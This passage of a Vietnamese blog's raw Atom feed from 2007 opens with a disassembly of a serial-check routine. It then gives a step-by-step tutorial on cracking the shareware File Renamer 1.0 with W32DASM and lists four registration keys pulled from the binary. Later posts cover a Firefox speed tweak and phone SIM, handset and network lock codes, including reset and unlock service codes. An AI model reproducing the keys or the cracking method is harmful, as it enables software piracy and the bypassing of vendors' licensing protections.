33C0 XOR  EAX,EAX&lt;br /&gt;0042DDF4 |. 5F POP EDI&lt;br /&gt;0042DDF5 |. C3 RETN&lt;br /&gt;0042DDF6 |&gt; 53  PUSH EBX&lt;br /&gt;0042DDF7 |. 56 PUSH ESI&lt;br /&gt;0042DDF8 |. BE A4E4FE5D MOV  ESI,5DFEE4A4&lt;br /&gt;0042DDFD |. 33DB XOR EBX,EBX&lt;br /&gt;0042DDFF |&gt; 85FF /TEST  EDI,EDI&lt;br /&gt;0042DE01 |. 74 09 |JE SHORT pro.0042DE0C&lt;br /&gt;0042DE03 |. 57 |PUSH  EDI&lt;br /&gt;0042DE04 |. E8 875E0000 |CALL pro.00433C90&lt;br /&gt;0042DE09 |. 59 |POP ECX&lt;br /&gt;0042DE0A |. EB 02 |JMP SHORT pro.0042DE0E&lt;br /&gt;0042DE0C |&gt; 33C0 |XOR  EAX,EAX&lt;br /&gt;0042DE0E |&gt; 83C0 FC |ADD EAX,-4&lt;br /&gt;0042DE11 |. 3BD8 |CMP EBX,EAX&lt;br /&gt;0042DE13 |. 73 0C |JNB SHORT pro.0042DE21&lt;br /&gt;0042DE15 |. 33343B |XOR  ESI,DWORD PTR DS:[EBX+EDI]&lt;br /&gt;0042DE18 |. F6C3 40 |TEST BL,40&lt;br /&gt;0042DE1B |.  74 01 |JE SHORT pro.0042DE1E&lt;br /&gt;0042DE1D |. 43 |INC EBX&lt;br /&gt;0042DE1E |&gt; 43  |INC EBX&lt;br /&gt;0042DE1F |.^EB DE \JMP SHORT pro.0042DDFF&lt;br /&gt;0042DE21 |&gt; 8BC6  MOV EAX,ESI&lt;br /&gt;0042DE23 |. 5E POP ESI&lt;br /&gt;0042DE24 |. 5B POP EBX&lt;br /&gt;0042DE25  |. 5F POP EDI&lt;br /&gt;0042DE26 \. C3 RETN&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Các bạn tự tìm hiểu  thêm nha. hacnho chỉ nói qua loa cơ chế tạo sê ri thôi. Đầu tiên chương trình sẽ  xét name nhập vào, nếu name&lt; href="http://www.sinhviensg.com/vct/tuts/Telepor..._hacnho_tut.zip" target="_blank"&gt;&lt;span class="link"&gt;http://www.sinhviensg.com/vct/tuts/Telepor..._hacnho_tut.zip&lt;/span&gt;&lt;br /&gt;----------------------------------------------------------------------------------------------&lt;br /&gt;How to crack File Renamer 1.0 build 9&lt;br /&gt;&lt;br /&gt;Phần mềm: File Renamer 1.0  build 9&lt;br /&gt;Bảo vệ: Unregistered Version/ Name Serial.&lt;br /&gt;Công cụ : -W32DASM  ver 8.93 only!&lt;br /&gt;Phương pháp crack: Find real serial&lt;br /&gt;Mức độ (x)Dễ ()Vừa  ()Hơi khó ()Rất khó&lt;br /&gt;File cần crack Renamer.exe&lt;br /&gt;Cracker: hacnho  (hacnho@hopthu.com)&lt;br /&gt;Website: &lt;a href="http://kickme.to/VCT" target="_blank"&gt;&lt;span class="link"&gt;http://kickme.to/VCT&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I. Giới  thiệu&lt;br /&gt;&lt;br /&gt;Chào các bạn, File Renamer 1.0 build 9 là một chương trình tiện  ích dùng để đổi tên hàng loạt, hay hơn nhiều so với chức năng của Window. Ngặt  một nỗi là nó bắt đăng ký mỗi khi chương trình chạy. Download phiên bản dùng thử  tại địa chỉ &lt;a href="http://www.princetonsoftwarecompany.com/" target="_blank"&gt;&lt;span class="link"&gt;http://www.princetonsoftwarecompany.com/&lt;/span&gt;&lt;/a&gt; . Có lẽ hãng  Princeton Software Company quá tự tin vào cơ chế mã hoá serial của mình nên  không pack lại. Okie chúng ta crack nó nào anh em!&lt;br /&gt;&lt;br /&gt;II. Bắt tay vào crack  File Renamer 1.0 build 9&lt;br /&gt;&lt;br /&gt;Đầu tiên, sau khi cài đặt xong, ta chạy  File Renamer 1.0 build 9 thì nó hiện lên một nag bắt đăng ký. Ở đây hacnho nhập  vào 15101983 thì Waaa... một nag bắn ra "Invalid Registration Key.". He he, bình  tĩnh. Chúng ta vào Wdasm để tìm reverse code nó xem. Ngay trên đầu main của  Wdasm, hacnho thấy dòng Import Module 001: MSVBVM60.DLL, hí hí, vậy là nó code  bằng VB6. Crack mệt đa . Vào Menu String Data Ref. Double click vào dòng Invalid  Registration Key. Dịch chuyển lên trên bạn sẽ thấy như sau:&lt;br /&gt;&lt;br /&gt;* Possible  StringData Ref from Code Obj -&gt;"TTF87D3F-J8V47C9K" &lt;--- Số Registration  Key ở đây. |  :00448945 68446E4000 push 00406E44 :0044894A FFD7 call  edi :0044894C F7D8 neg eax :0044894E 1BC0 sbb eax, eax :00448950  F7D8 neg eax :00448952 85D8 test eax, ebx &lt;--- kiểm tra code nhập vào có  giống string không! :00448954 7469 je 004489BF &lt;--- Nhảy nhảy nhảy ...  :-D. :00448956 B804000280 mov eax, 80020004 :0044895B 894594 mov dword  ptr [ebp-6C], eax :0044895E BB0A000000 mov ebx, 0000000A :00448963  895D8C mov dword ptr [ebp-74], ebx :00448966 8945A4 mov dword ptr [ebp-5C],  eax :00448969 895D9C mov dword ptr [ebp-64], ebx :0044896C 8945B4 mov  dword ptr [ebp-4C], eax :0044896F 895DAC mov dword ptr [ebp-54], ebx   * Possible StringData Ref from Code Obj -&gt;"Invalid Registration Key."&lt;br /&gt;|&lt;br /&gt;:00448972 C74584CC974000 mov [ebp-7C], 004097CC&lt;br /&gt;:00448979  C7857CFFFFFF08000000 mov dword ptr [ebp+FFFFFF7C], 00000008&lt;br /&gt;:00448983  8D957CFFFFFF lea edx, dword ptr [ebp+FFFFFF7C]&lt;br /&gt;:00448989 8D4DBC lea ecx,  dword ptr [ebp-44]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Oh la la. Ở đây nó không gọi hàm kiểm tra gì  hết mà chỉ kiểm tra xem số nhập vào có đúng với dòng các string sinh ra không.  Tại dòng * Possible StringData Ref from Code Obj -&gt;"TTF87D3F-J8V47C9K".  hacnho thấy số Reg Code nằm chình ình ngay trước mặt các bạn ạ. Còn chần chờ gì  nữa mà không chép ra rồi đăng ký hả .&lt;br /&gt;&lt;br /&gt;Không hẳn chỉ có một regcode duy  nhất mà trong các đoạn string của File Renamer 1.0 build 9 cũng có một số string  là RegCode. Có thể kể ra bốn đoạn mà hacnho tìm được:&lt;br /&gt;&lt;br /&gt;-------------------------------&lt;br /&gt;&lt;br /&gt;* Reference To:  MSVBVM60.__vbaStrCmp, Ord:0000h&lt;br /&gt;|&lt;br /&gt;:00423F14 8B35D4104000 mov esi, dword  ptr [004010D4]&lt;br /&gt;:00423F1A 51 push ecx&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref from  Code Obj -&gt;"2F78AZX2-89ME4A23"&lt;br /&gt;|&lt;br /&gt;:00423F1B 68F46D4000 push 00406DF4&lt;br /&gt;:00423F20 FFD6 call esi&lt;br /&gt;:00423F22 8B156CA04400 mov edx, dword ptr  [0044A06C]&lt;br /&gt;:00423F28 8BF8 mov edi, eax&lt;br /&gt;:00423F2A F7DF neg edi&lt;br /&gt;:00423F2C 1BFF sbb edi, edi&lt;br /&gt;:00423F2E 52 push edx&lt;br /&gt;&lt;br /&gt;* Possible  StringData Ref from Code Obj -&gt;"8J4Z2X11-8R865YHG"&lt;br /&gt;|&lt;br /&gt;:00423F2F  68CC6D4000 push 00406DCC&lt;br /&gt;:00423F34 F7DF neg edi&lt;br /&gt;:00423F36 FFD6 call esi&lt;br /&gt;:00423F38 F7D8 neg eax&lt;br /&gt;:00423F3A 1BC0 sbb eax, eax&lt;br /&gt;:00423F3C F7D8  neg eax&lt;br /&gt;:00423F3E 23F8 and edi, eax&lt;br /&gt;:00423F40 A16CA04400 mov eax, dword  ptr [0044A06C]&lt;br /&gt;:00423F45 F7DF neg edi&lt;br /&gt;:00423F47 1BFF sbb edi, edi&lt;br /&gt;:00423F49 50 push eax&lt;br /&gt;&lt;br /&gt;* Possible StringData Ref from Code Obj  -&gt;"7134X853-IJ78FR6A"&lt;br /&gt;|:00423F4A 681C6E4000 push 00406E1C&lt;br /&gt;:00423F4F  F7DF neg edi&lt;br /&gt;:00423F51 FFD6 call esi&lt;br /&gt;:00423F53 F7D8 neg eax&lt;br /&gt;:00423F55 8B0D6CA04400 mov ecx, dword ptr [0044A06C]&lt;br /&gt;:00423F5B 1BC0 sbb  eax, eax&lt;br /&gt;:00423F5D 51 push ecx&lt;br /&gt;:00423F5E F7D8 neg eax&lt;br /&gt;:00423F60 23F8  and edi, eax&lt;br /&gt;&lt;br /&gt;*Possible StringData Ref from Code Obj  -&gt;"TTF87D3F-J8V47C9K"&lt;br /&gt;|&lt;br /&gt;:00423F62 68446E4000 push 00406E44&lt;br /&gt;:00423F67 F7DF neg edi&lt;br /&gt;:00423F69 1BFF sbb edi, edi&lt;br /&gt;:00423F6B F7DF  neg edi&lt;br /&gt;:00423F6D FFD6 call esi&lt;br /&gt;:00423F6F F7D8 neg eax&lt;br /&gt;:00423F71  1BC0 sbb eax, eax&lt;br /&gt;:00423F73 F7D8 neg eax&lt;br /&gt;:00423F75 85F8 test eax, edi&lt;br /&gt;:00423F77 0F8436010000 je 004240B3&lt;br /&gt;-----------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tóm lại ta  có các số RegCode tham khảo :&lt;br /&gt;&lt;br /&gt;TTF87D3F-J8V47C9K&lt;br /&gt;&lt;br /&gt;7134X853-IJ78FR6A&lt;br /&gt;&lt;br /&gt;8J4Z2X11-8R865YHG&lt;br /&gt;&lt;br /&gt;2F78AZX2-89ME4A23&lt;br /&gt;&lt;br /&gt;III. Kết luận&lt;br /&gt;&lt;br /&gt;Đây là một chương trình tương đối dễ crack nhưng  cần sự quan sát nhất là không máy móc áp dụng một phương pháp duy nhất.&lt;br /&gt;&lt;br /&gt;thân.&lt;br /&gt;&lt;br /&gt;Tut đến đây là END. Hẹn gặp trong tut sau.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="postbody"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-4379747103853715075?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/4379747103853715075/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=4379747103853715075' title='1 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/4379747103853715075'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/4379747103853715075'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/10/li-ni-u-cho-cc-bn-chc-hn-trong-s-cc-bn.html' title='Crack soft'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-5224367993284630786</id><published>2007-10-16T00:12:00.000-07:00</published><updated>2007-10-16T00:12:20.153-07:00</updated><title type='text'>Tăng lực cho Firefox</title><content type='html'>&lt;table style="width: 519px; height: 623px;" id="Table8" align="center" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;                &lt;/tr&gt;                &lt;tr&gt;                 &lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td height="20"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;                &lt;/tr&gt;                &lt;tr&gt;                 &lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;td style="padding-right: 5px;"&gt;                                     &lt;table id="AvatarTable" align="left" border="0" cellpadding="0" cellspacing="3" width="1"&gt;                    &lt;tbody&gt;&lt;tr&gt;                     &lt;td align="left" valign="top"&gt;                      &lt;img style="" id="StoryAvatar" class="img_avatar" onmouseover="this.style.cursor='hand'" onclick="showDialog('/News/ViewImage.aspx?file=,Uploaded,hoangnam,13.08.07,Untitled-15.jpg')" src="http://www2.thanhnien.com.vn/Uploaded/hoangnam/13.08.07/Untitled-15.jpg" alt="" border="0" height="142" width="140" /&gt;&lt;/td&gt;                    &lt;/tr&gt;                    &lt;tr height="1"&gt;                     &lt;td align="left" valign="top"&gt;                     &lt;br /&gt;&lt;/td&gt;                    &lt;/tr&gt;                   &lt;/tbody&gt;&lt;/table&gt;                                    &lt;span class="indexstorytext"&gt;                   &lt;p&gt;Firefox được xem là một trình duyệt có tốc độ lướt web khá nhanh và an toàn, thậm chí hơn cả Internet Explorer. Firefox được bổ sung rất nhiều tiện ích giúp nó thêm linh hoạt và đem lại nhiều tiện lợi hơn cho người sử dụng. Nếu bạn đang dùng Firefox thì giờ đây bạn sẽ có thêm một phương pháp giúp Firefox lướt web nhanh hơn nữa và công việc của bạn là chỉ cần thực hiện qua ba bước sau đây:  &lt;/p&gt;&lt;/span&gt;                  &lt;p align="justify"&gt;&lt;span id="lbBody" class="indexstorytext"&gt;&lt;p&gt;&lt;strong&gt;Bước 1:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Bạn hãy tải về một phần mở rộng của Firefox tên là Tweak Network 1.1.1 (tương thích với Firefox 1.0-2.0). Để tải phần mở rộng này bạn có thể dùng Internet Explorer (IE) hoặc Firefox. Nếu dùng IE thì vào địa chỉ &lt;a href="http://releases.mozilla.org/pub/mozilla.org/addons/327/tweak_network-1.1.1-fx.xpi"&gt;http://releases.mozilla.org/pub/mozilla.org/addons/327/tweak_network-1.1.1-fx.xpi&lt;/a&gt;, sau đó vào Firefox và mở menu File-Open File, chọn file .xpi vừa tải về, bấm Open rồi bấm Install Now để cài đặt. Nếu dùng Firefox thì bạn vào địa chỉ &lt;a href="https://addons.mozilla.org/en-US/firefox/addon/327"&gt;https://addons.mozilla.org/en-US/firefox/addon/327&lt;/a&gt;, rồi bấm Install Now hai lần để cài đặt. Khi thấy thông báo cài đặt xong, bạn bấm Restart Firefox để chạy lại Firefox.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Bước 2:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Khi Firefox chạy lại xong, bạn mở menu Tools, chọn mục Tweak Network Settings, khi thấy hộp thông báo bạn cứ việc bấm OK, sau đó bấm nút Power rồi OK.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Bước 3:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Trên thanh địa chỉ của Firefox, bạn nhập about:config rồi nhấn Enter. Trong cửa sổ hiện cấu hình Firefox, bạn hãy bấm chuột phải vào một vùng trống nào đó, chọn New-Integer. Tại hộp Enter the preference name, đặt tên là nglayout.initialpaint.delay, bấm OK. Trong hộp tiếp theo, bạn nhập giá trị là 0 (số không), bấm OK là xong. Bây giờ bạn hãy thử lướt web và xem tốc độ của nó thế nào nhé!&lt;/p&gt;  &lt;p align="right"&gt;&lt;strong&gt;&lt;/strong&gt;&lt;/p&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;&lt;td style="vertical-align: top;"&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/64112137356460089-5224367993284630786?l=chantroitrithuc.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chantroitrithuc.blogspot.com/feeds/5224367993284630786/comments/default' title='Đăng Nhận xét'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=64112137356460089&amp;postID=5224367993284630786' title='0 Nhận xét'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5224367993284630786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/64112137356460089/posts/default/5224367993284630786'/><link rel='alternate' type='text/html' href='http://chantroitrithuc.blogspot.com/2007/10/tng-lc-cho-firefox.html' title='Tăng lực cho Firefox'/><author><name>romancekid</name><uri>http://www.blogger.com/profile/07546199149831866337</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-64112137356460089.post-3661283196197239100</id><published>2007-09-25T00:53:00.000-07:00</published><updated>2007-09-25T00:54:25.794-07:00</updated><title type='text'>Khóa Sim, khóa mã, khóa mạng và những mã lệnh khắc phục sự cố trong máy di động</title><content type='html'>&lt;h2 class="title"&gt;&lt;a href="http://my.opera.com/amnhacvietnaminfo/blog/show.dml/858045"&gt;Khóa Sim, khóa mã, khóa mạng và những mã lệnh khắc phục sự cố trong máy di động&lt;/a&gt;&lt;/h2&gt;&lt;p class="postdate"&gt;Monday, 26. March 2007, 14:54:01&lt;/p&gt;&lt;p class="tags"&gt;&lt;a href="http://my.opera.com/amnhacvietnaminfo/blog/index.dml/tag/%C4%90i%E1%BB%87n%20Tho%E1%BA%A1i%20Di%20%C4%90%E1%BB%99ng" rel="tag"&gt;Điện Thoại Di Động&lt;/a&gt; &lt;/p&gt;Bài viết Kỳ này giúp các bạn có những khái niệm cơ bản về khóa Sim, khóa mã, khóa mạng và những mã lệnh khắc phục sự cố trong máy di động&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I .  Khái niệm khóa sim,  khóa máy, khóa mạng trong di động&lt;br /&gt;&lt;br /&gt;1 . Khóa Sim&lt;br /&gt;&lt;br /&gt;- Khóa Sim là khóa tại Simcard nhằm mục đích bảo vệ tài khoản của chủ thuê bao, khi khóa Sim thì máy di động vẫn có thể hoạt động được khi lắp Sim khác vào máy.&lt;br /&gt;&lt;br /&gt;- Sim  là vi mạch nhớ có dung lượng nhớ nhỏ. Có 2 loại Sim , Sim 3 V, Sim 5 V, để khoá Sim dùng mã Pin: 4 số mặc định là “1234”&lt;br /&gt;&lt;br /&gt;Ví dụ” Màn hình hiện “ENTER PIN” ta bấm “1234”. Nếu không được mà bấm sai 3 lần thì sẽ chuyển sang mã khoá PUK. Mã PUK do Bưu điện quản lý gồm 8 số không có mặc định. Ví dụ: Màn xuất hiện Enter PUK:&lt;br /&gt;&lt;br /&gt;Ta gọi:     145 mạng MOBILE PHONE&lt;br /&gt;&lt;br /&gt;151  mạng VINA PHONE&lt;br /&gt;&lt;br /&gt;198 mạng Viettel&lt;br /&gt;&lt;br /&gt;Hỏi mã PUK và mã Pin mới của Sim. Sau đó vào lần lượt 8 số PUK -&gt; Máy sẽ hỏi mã PIN, ta vào 2 lần mã Pin là được. Sau đó phải vào phần MENU sử dụng để chuyển khoá SIM về trạng thái “OFF”.&lt;br /&gt;&lt;br /&gt;2. Khoá máy:&lt;br /&gt;&lt;br /&gt;- Khóa máy là khóa tại máy di động, khi không muốn người khác can thiệp vào máy của mình, khi khóa máy thì máy di động sẽ không nhận bất cứ một Sim nào cả.&lt;br /&gt;&lt;br /&gt;- SAM SUNG: Trên màn hiện:&lt;br /&gt;&lt;br /&gt;ENTER PASS WORD CODE (tiếng việt là “vào mã bảo vệ”).&lt;br /&gt;&lt;br /&gt;Mặc định là 0000 -&gt; OK&lt;br /&gt;&lt;br /&gt;Nếu không được bấm lệnh: (Chú ý tháo Sim)&lt;br /&gt;&lt;br /&gt;* 2767 * 2878 #&lt;br /&gt;&lt;br /&gt;* 2767*3855#&lt;br /&gt;&lt;br /&gt;*2767*688#&lt;br /&gt;&lt;br /&gt;Máy đời cao (phải dùng máy tính để Unlock)&lt;br /&gt;&lt;br /&gt;- NOKIA: màn hình hiện&lt;br /&gt;&lt;br /&gt;ENTER SECURITY CODE (tiếng việt là “vào mã bảo vệ”).&lt;br /&gt;&lt;br /&gt;Mặc định là (12345)  -&gt;   OK&lt;br /&gt;&lt;br /&gt;- Máy đời cao màn hình hiện “Hạn chế điện thoại”&lt;br /&gt;&lt;br /&gt;Nếu sai: Phải dùng USF3  hoặc Grrifin là thiết bị chuyên dùng để nạp phần mềm và bẻ khóa cho di động.&lt;br /&gt;&lt;br /&gt;- MOROTOLA: màn hình hiện “ENTER PHONE CODE”&lt;br /&gt;&lt;br /&gt;Mặc định là (1234)-&gt; OK&lt;br /&gt;&lt;br /&gt;Nếu sai: (Màn hình hiện Wrong Code)&lt;br /&gt;&lt;br /&gt;- Từ V8088 trỏ xuống bấm Menu -&gt; OK -&gt;  bấm "000000”. Màn hình sẽ hiện mã PHONE CODE.Nếu không được phải dùng thẻ TEST&lt;br /&gt;&lt;br /&gt;Với các máy đời cao: Dùng máy tính sử dụng phần mềm UNLOCK để bẻ khoá, hiện nay hay dùng nhất là hộp SMARTCLIP&lt;br /&gt;&lt;br /&gt;- SIEMENS : Không mặc định =&gt; Bẻ bằng máy tính&lt;br /&gt;&lt;br /&gt;- Chuyển tiếng Anh thì bấm *# 0001# Bấm Send&lt;br /&gt;&lt;br /&gt;- ERICSSON:  “ENTER PHONE CODE”&lt;br /&gt;&lt;br /&gt;Mặc định: “0000”. Nếu không được thỉ bẻ bằng máy tính (rất đơn giản)&lt;br /&gt;&lt;br /&gt;3. Khóa mạng:&lt;br /&gt;&lt;br /&gt;- Khóa mạng là máy vẫn dùng ở tốt ở nước ngoài còn về Việt Nam thì không dùng được&lt;br /&gt;&lt;br /&gt;- Nếu máy là loại đơn băng tần chỉ sử dụng một băng tần 1800 hoặc 1900 thì không mở khóa mạng được.&lt;br /&gt;&lt;br /&gt;- Nếu máy đa băng tần tức là có thể sử dung cả “900 và 1800” hoặc “900 – 1800 – 1900” thì có thể bẻ khóa mạng được.&lt;br /&gt;&lt;br /&gt;- Các chữ báo khoá mạng khi lắp SIM&lt;br /&gt;&lt;br /&gt;- SIM LOCK (Sam Sung)&lt;br /&gt;&lt;br /&gt;- ENTER SPECIAL CODE (MOTOROLA)&lt;br /&gt;&lt;br /&gt;- SIM CARD NOT REJECTER (Nokia)&lt;br /&gt;&lt;br /&gt;- INVALID SIM CARD (nokia cũ)&lt;br /&gt;&lt;br /&gt;- NET WORK LOCK (Siemens)&lt;br /&gt;&lt;br /&gt;- INSERT CORRET CARD (Ericsson)&lt;br /&gt;&lt;br /&gt;* Bẻ khoá máy, khóa mạng:&lt;br /&gt;&lt;br /&gt;- Để bẻ khóa máy hoặc khóa mạng ngoài dùng lệnh đặc biệt ta phải dùng những thiết bị chuyên dụng để nạp một phần mềm mới, hoặc dùng phần mềm Unlocked để Reset máy vể trạng thái xuất xưởng.&lt;br /&gt;&lt;br /&gt;- Dòng máy Băng tần 850 MHz ngoài việc unlock bằng máy tính, phải can thiệp thêm phần cứng .&lt;br /&gt;&lt;br /&gt;* Đặc tả mạng di động GSM&lt;br /&gt;&lt;br /&gt;+ 800MHz : mạng IDEN, do Motorla và Nortel phát triển, sử dụng những Cell nhỏ ít thuê bao.&lt;br /&gt;&lt;br /&gt;+ 850MHz : Thường dùng ở Bắc Mỹ (Cingular)&lt;br /&gt;&lt;br /&gt;+ 900MHz :GSM900, và EGSM900 thương dùng ở châu Á hoặc châu Âu&lt;br /&gt;&lt;br /&gt;+ 1800MHz: Mang DCS1800 thường dùng ở châu Á hoặc châu Âu&lt;br /&gt;&lt;br /&gt;+ 1900MHz: Mạng PCS1900 thường dùng ở Bắc Mỹ ( T-Mobile)&lt;br /&gt;&lt;br /&gt;4 . Cách xem IMEI + Version:&lt;br /&gt;&lt;br /&gt;- Xem IMEI:&lt;br /&gt;&lt;br /&gt;Bấm * # 06#.,riêng Nokia có IMEI gốc * # 9270 2689 #&lt;br /&gt;&lt;br /&gt;- XemVer sion: là phiên bản của phần mềm, phiên bản càng cao thì sửa lỗi càng tốt:&lt;br /&gt;&lt;br /&gt;Nokia              : * # 0000 #&lt;br /&gt;&lt;br /&gt;Sam sung            : * # 9999 # (version của máy Samsung là số tự nhiên, càng cuối bảng chữ cái thì version càng cao).&lt;br /&gt;&lt;br /&gt;Siemens            : * # 06 # Bấm nút trên&lt;br /&gt;&lt;br /&gt;Ericsson            :  ­ *  ­¯ * ¯ *&lt;br /&gt;&lt;br /&gt;Motorola: Từ dòng T 190-191 –198. T2688-2988 Bấm lệnh  “ #300# OK&lt;br /&gt;&lt;br /&gt;Từ dòng V -&gt; lên dùng thẻ hoặc máy tính&lt;br /&gt;Một số mã lệnh reset… khắc phục lỗi máy di động&lt;br /&gt;&lt;br /&gt;Mã lệnh của Samsung:&lt;br /&gt;&lt;br /&gt;- Mã lệnh dùng để reset EEPROM máy SamSung, có thể khắc phục được tình trang treo máy, có sóng nhưng không gọi được, trắng màn hình, khóa máy …&lt;br /&gt;&lt;br /&gt;     * 2767 * 2878 #&lt;br /&gt;&lt;br /&gt;     * 2767*3855#&lt;br /&gt;&lt;br /&gt;     *2767*688#&lt;br /&gt;&lt;br /&gt;    -    Mã lệnh chỉnh contrast màn hình như sau:&lt;br /&gt;&lt;br /&gt;          *#0523# dùng phím &lt;/&gt; để chỉnh , chú ý bỏ sim&lt;br /&gt;&lt;br /&gt;-         Chỉnh contrast X495: “*#8999*523# hoặc *#8999*8378#”&lt;br /&gt;&lt;br /&gt;-         Kiểm tra thông số hoạt động của Pin  *#9998*228#&lt;br /&gt;&lt;br /&gt;-         Kiểm tra chế độ rung *#9998*842#&lt;br /&gt;&lt;br /&gt;Mã lệnh của NOKIA&lt;br /&gt;&lt;br /&gt;-         Xem IMEI *#06# hoặc *#92702689#&lt;br /&gt;&lt;br /&gt;-         Xem phiên bản phần mềm *#0000#&lt;br /&gt;&lt;br /&gt;-         Reset máy đời thấp *3370#&lt;br /&gt;&lt;br /&gt;- Nếu gặp máy Nokia đời cao bị treo máy, hoặc vào các chương trình ứng dụng không được ta có thể dùng lệnh sau “*#7370# hoặc *#7780# , nhập mã code 12345 &gt;ok”, mã số này sẽ khôi phục cài đặt mặc định của nhà sản xuất khi xuất xưởng.&lt;br /&gt;&lt;br /&gt;-         Hoặc Format máy bằng cách bấm đồng thời 4 nút&lt;br /&gt;&lt;br /&gt;“ Power + phím gọi mầu xanh + * + số 3” , giữ vài giây đến khi màn hình hiện Formating thì bỏ tay ra, máy di động sẽ tự format về trạng thái xuất xưởng, chú ý pin phải đầy , cách này rất hiệu quả.&lt;br /&gt;&lt;br /&gt;Mã lệnh SonyEricsson&lt;br /&gt;&lt;br /&gt;- Format Smartphone ( P800, P900, P910…), dùng phím “Jogdial” là nút cuộn menu phía bên trái, Jogdial UP là cuộn lên, jogdial Down là cuộn xuống.&lt;br /&gt;&lt;br /&gt;     + Jogdial UP&lt;br /&gt;&lt;br /&gt;     + Bấm phím *&lt;br /&gt;&lt;br /&gt;     + Jogdial down&lt;br /&gt;&lt;br /&gt;     + Jogdial down&lt;br /&gt;&lt;br /&gt;     + Bấm phím *&lt;br /&gt;&lt;br /&gt;     + Jogdial down&lt;br /&gt;&lt;br /&gt;     + Jogdial down&lt;br /&gt;&lt;br /&gt;Lúc đó sẽ hiện lên Menu Format, chọn Format, nhập mã Password  0000&lt;br /&gt;&lt;br /&gt;- Dòng máy này có thể xem được ngày sản xuất bằng cách xem ở tem dòng chữ có dạng xxWyy, trong đó xx là năm sản xuất yy là tuần của năm đó, ví dụ máy có dòng chữ 03W06 có nghĩa máy sản xuất vào tuần thứ 6 năm 2003, tức là giữa tháng 2 năm 2003&lt;br /&gt;&lt;br /&gt;Mã lệnh Siemens&lt;br /&gt;&lt;br /&gt;-         Xem Imei *#06#&lt;br /&gt;&lt;br /&gt;-         Kiểm tra phiên bản phần mềm , bỏ Sim bấm *#06# giữ phím dài bên trái&lt;br /&gt;&lt;br /&gt;-         Chuyển về tiếng Anh *#0001# bấm nút “SEND”&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5 . Các bí mật trên PocketPC&lt;br /&gt;&lt;br /&gt;a- Dòng máy Himalaya (O2 Xda II /Qtek 2020 / Orange SPV M1000/ I-Mate PocketPC/ Dopod 696):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ Reset&lt;br /&gt;- Hard Reset: Power + Soft Reset&lt;br /&gt;- Enter Bootloader: DPad(Nút chính giữa) + HardReset&lt;br /&gt;&lt;br /&gt;b- Dòng máy Magician (O2 Xda II mini / T-Mobile MDA Compact/ Dopod 818 / I-mate JAM Qtek S100):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ Reset&lt;br /&gt;- Hard Reset: Power + Soft Reset&lt;br /&gt;- Enter Bootloader: Camera + HardReset&lt;br /&gt;&lt;br /&gt;c- Dòng máy Blue Angel (O2 Xda IIs/ Dopod 700/ I-mate PDA2k/ T-Mobile MDA III/ SPV M2000/ Qtek 9090):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ Reset&lt;br /&gt;- Hard Reset: Power + Soft Reset&lt;br /&gt;- Enter Bootloader: Record + HardReset&lt;br /&gt;&lt;br /&gt;d- Dòng máy Alpine (O2 Xda IIi/Dopod 699 / I-mate PDA2/Qtek 2020i/SPV M2500):&lt;br /&gt;- Soft reset: Dùng bút chọc vào lỗ 